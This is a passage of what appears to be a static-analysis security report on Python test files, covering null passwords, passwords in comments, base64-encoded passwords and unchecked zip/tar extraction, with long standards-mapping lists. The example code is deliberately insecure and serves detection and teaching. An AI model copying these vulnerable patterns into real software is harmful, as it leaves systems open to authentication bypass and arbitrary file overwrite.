[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[14] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.1 Service Authentication Requirements, 2.10.2 Service Authentication Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements, 9.2.3 Server Communications Security Requirements
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1

[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[48] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[49] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Password Management: Null Password

Description

Null passwords can compromise security.

Explanation

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

```
...
storedPassword = None
...
temp = getPassword()
if (temp is not None):
    storedPassword = temp
...
if (storedPassword == userPassword):
    # Access protected resources
    ...
...
```

If getPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for userPassword.

Severity

High

Vulnerabilities

File tests\Password_Management__Null_Password.py, Line 3, Pos 1

```
3 connect(param1, param2, None)
```

File tests\Password_Management__Null_Password.py, Line 5, Pos 1

```
5 my_password_secret = None
```

File tests\Password_Management__Null_Password.py, Line 7, Pos 1

```
7 data["password"] = None
```

Recommendations

- For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.
- For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.
- Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.
- For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming

password during authentication, take the hash of the password and compare it to the hash that you have saved. Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 259
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199, CCI-003109
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.3.1 Authenticator Lifecycle Requirements, 2.6.2 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.1 Service Authentication Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.4.1 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1

[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 2.2 - Secure Defaults, Control Objective 5.3 - Authentication and Access Control, Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 2.2 - Secure Defaults, Control Objective 5.3 - Authentication and Access Control, Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I

[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)

Password Management: Password in Comment

Description

Storing passwords or password details in plain text anywhere in the system or system code may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to hardcode a password. Storing password details within comments is equivalent to hardcoding passwords. Not only does it allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password is now leaked to the outside world and cannot be protected or changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability. Example: The following comment specifies the default password to connect to a database:

```
...
# Default username for database connection is "scott"
# Default password for database connection is "tiger"
...
```

This code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user "scott" with a password of "tiger" unless the program is patched. An employee with access to this information can use it to break into the system.

Severity

High

Vulnerabilities

File tests\Password_Management__Password_in_Comment.py, Line 1, Pos 6

```
1 # my password
```

File tests\Password_Management__Password_in_Comment.py, Line 4, Pos 5

```
4    passwd "secret" used for autentication
```

File tests\Password_Management__Password_in_Comment.py, Line 7, Pos 3

```
7 # pw and pwd (value is "secret") are alias
```

File tests\Password_Management__Password_in_Comment.py, Line 7, Pos 10

```
7 # pw and pwd (value is "secret") are alias
```

Recommendations

- Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 615
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199, CCI-002367
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.1 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.1 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I

[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Password Management: Weak Cryptography

Description

Obscuring a password with trivial encoding does not protect the password.

Explanation

Password management issues occur when a password is stored in plain text in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base64 encoding, but this does not adequately protect the password. Example: The following code reads a password from a properties file and uses the password to connect to a database.

```
...
props = os.open('config.properties')
password = base64.b64decode(props[0])
...
link = MySQLdb.connect (host = "localhost",
user = "testuser",
passwd = password,
db = "test")
...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base64 encoded. Any devious employee with access to this information can use it to break into the system.

Severity

High

Vulnerabilities

File tests\Password_Management__Weak_Cryptography.py, Line 3, Pos 1

```
3 password = base64.b64decode(something)
```

File tests\Password_Management__Weak_Cryptography.py, Line 4, Pos 1

```
4 passwd = base64.b64decode(something)
```

File tests\Password_Management__Weak_Cryptography.py, Line 5, Pos 1

```
5 pwd = base64.b64decode(something)
```

File tests\Password_Management__Weak_Cryptography.py, Line 6, Pos 1

```
6 pw = base64.b64decode(something)
```

Recommendations

- Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 261
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage

[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.1 Service Authentication Requirements, 2.10.2 Service Authentication Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements, 9.2.3 Server Communications Security Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7 - Use of Cryptography
[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Path Manipulation: Zip Entry Overwrite

Description

Allowing user input to control paths used in file system operations could enable an attacker to arbitrarily overwrite files on the system.

Explanation

Path Manipulation: ZIP Entry Overwrite errors occur when a ZIP file is opened and expanded without checking the file path of the ZIP entry.

Example: The following example extracts files from a ZIP file and insecurely writes them to disk.

```
import zipfile
import tarfile

def unzip(archive_name):
    zf = zipfile.ZipFile(archive_name)
    zf.extractall(".")
    zf.close()

def untar(archive_name):
    tf = tarfile.TarFile(archive_name)
    tf.extractall(".")
    tf.close()
```

Severity

High

Vulnerabilities

File tests\Path_Manipulation__Zip_Entry_Overwrite.py, Line 6, Pos 5

```
    zf.extractall(".")
```

File tests\Path_Manipulation__Zip_Entry_Overwrite.py, Line 11, Pos 5

```
    tf.extractall()
```

Recommendations

- Check the path for extracted files
- Use a built-in path canonicalization function that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links from every extracted file

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 22, CWE ID 73
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [10] CWE ID 022
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [12] CWE ID 022
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[10] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[11] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[12] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[13] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[14] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.3.1 File Execution Requirements, 12.3.2 File Execution Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[25] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 426
[26] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 022
[27] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 022
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
